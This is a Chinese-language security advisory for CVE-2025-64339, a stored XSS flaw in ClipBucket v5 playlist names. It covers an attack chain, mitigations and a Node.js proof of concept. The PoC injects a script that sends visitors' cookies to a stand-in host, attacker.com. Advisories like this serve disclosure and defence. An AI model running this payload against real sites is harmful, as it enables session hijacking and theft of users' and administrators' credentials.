IPBUF安全漏洞报告
English
CVE-2025-64339 CVSS 5.4 中危

CVE-2025-64339 ClipBucket v5 播放列表名称存储型XSS漏洞

披露日期: 2025-11-07

漏洞信息

漏洞编号
CVE-2025-64339
漏洞类型
存储型XSS
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
ClipBucket v5

相关标签

存储型XSSClipBucketCVE-2025-64339跨站脚本视频分享平台PlaylistWeb安全

漏洞概述

CVE-2025-64339是ClipBucket v5开源视频分享平台中的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞存在于播放列表管理功能中,具体位于播放列表名称(Playlist Name)字段。攻击者可以利用此漏洞在播放列表名称中注入恶意的HTML或JavaScript代码。由于该平台未对用户输入进行充分的输出编码和过滤,恶意代码会被永久存储在数据库中,并在其他用户访问播放列表详情页或播放列表列表页时以未转义的方式渲染执行。此漏洞允许已认证的低权限用户在播放列表名称字段中注入恶意脚本,当管理员或其他用户查看受感染的播放列表时,恶意JavaScript代码将在其浏览器中自动执行,可能导致会话劫持、敏感信息窃取或进一步的网络攻击。该漏洞影响5.5.2-#146及以下版本,已在5.5.2-#147版本中修复。

技术细节

ClipBucket v5的播放列表管理功能存在输入验证不足的安全问题。当用户创建或编辑播放列表时,系统未对Playlist Name字段的输入进行严格的HTML实体编码或安全过滤。攻击者(即使是低权限的已认证用户)可以在播放列表名称中插入包含<script>标签或事件处理器(如onerror、onload等)的恶意代码。该代码被存储到数据库后,在以下场景会被触发执行:1) 用户访问播放列表详情页面;2) 用户浏览播放列表列表页面;3) 管理员访问相关管理界面。由于恶意脚本在受害者访问页面时自动执行,攻击者可以窃取用户的会话Cookie、模拟用户操作或植入进一步的恶意负载。漏洞的利用不需要复杂的攻击技术,仅需基本的HTTP请求即可完成攻击。攻击者可以利用此漏洞横向移动,对整个平台的用户造成安全威胁。

攻击链分析

STEP 1
步骤1
攻击者使用低权限账号登录ClipBucket v5平台
STEP 2
步骤2
攻击者访问播放列表管理功能(Manage Playlists)
STEP 3
步骤3
攻击者创建新播放列表,在Playlist Name字段中注入包含恶意JavaScript代码的XSS payload
STEP 4
步骤4
恶意代码被存储到数据库中,由于系统未进行输出编码,payload保持原始形态
STEP 5
步骤5
当其他用户(受害者)访问播放列表详情页或列表页时,恶意脚本以未转义状态被浏览器解析执行
STEP 6
步骤6
攻击者通过恶意脚本窃取受害者的会话Cookie、劫持用户会话或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-64339 PoC - Stored XSS in ClipBucket v5 Playlist Name // Steps to reproduce: // 1. Authenticate with low-privileged account // 2. Navigate to Manage Playlists feature // 3. Create new playlist with malicious name const axios = require('axios'); const TARGET_URL = 'http://target-clipbucket.com'; const USERNAME = 'attacker_user'; const PASSWORD = 'attacker_password'; // XSS payload - steals cookies const XSS_PAYLOAD = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'; async function exploit() { // Step 1: Login to get authentication cookie const loginResponse = await axios.post(`${TARGET_URL}/login`, { username: USERNAME, password: PASSWORD }); const cookies = loginResponse.headers['set-cookie']; // Step 2: Create playlist with XSS payload in name const createPlaylistResponse = await axios.post( `${TARGET_URL}/playlists/create`, { playlist_name: XSS_PAYLOAD, playlist_description: 'Test playlist' }, { headers: { Cookie: cookies } } ); console.log('Playlist created with XSS payload'); console.log('When any user views the playlist, the script will execute'); } exploit().catch(console.error);

影响范围

ClipBucket v5 < 5.5.2-#147
ClipBucket v5 <= 5.5.2-#146

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 在Web应用防火墙(WAF)中配置规则,检测并拦截包含<script>标签或JavaScript事件处理器的请求;2) 禁用播放列表名称字段的HTML支持,仅允许纯文本输入;3) 对所有输出到页面的用户输入进行HTML实体编码(将<、>、"、'等字符转义);4) 定期审查播放列表数据,清理已注入的恶意内容;5) 监控异常的用户行为和请求模式。建议在条件允许时尽快升级到官方修复版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表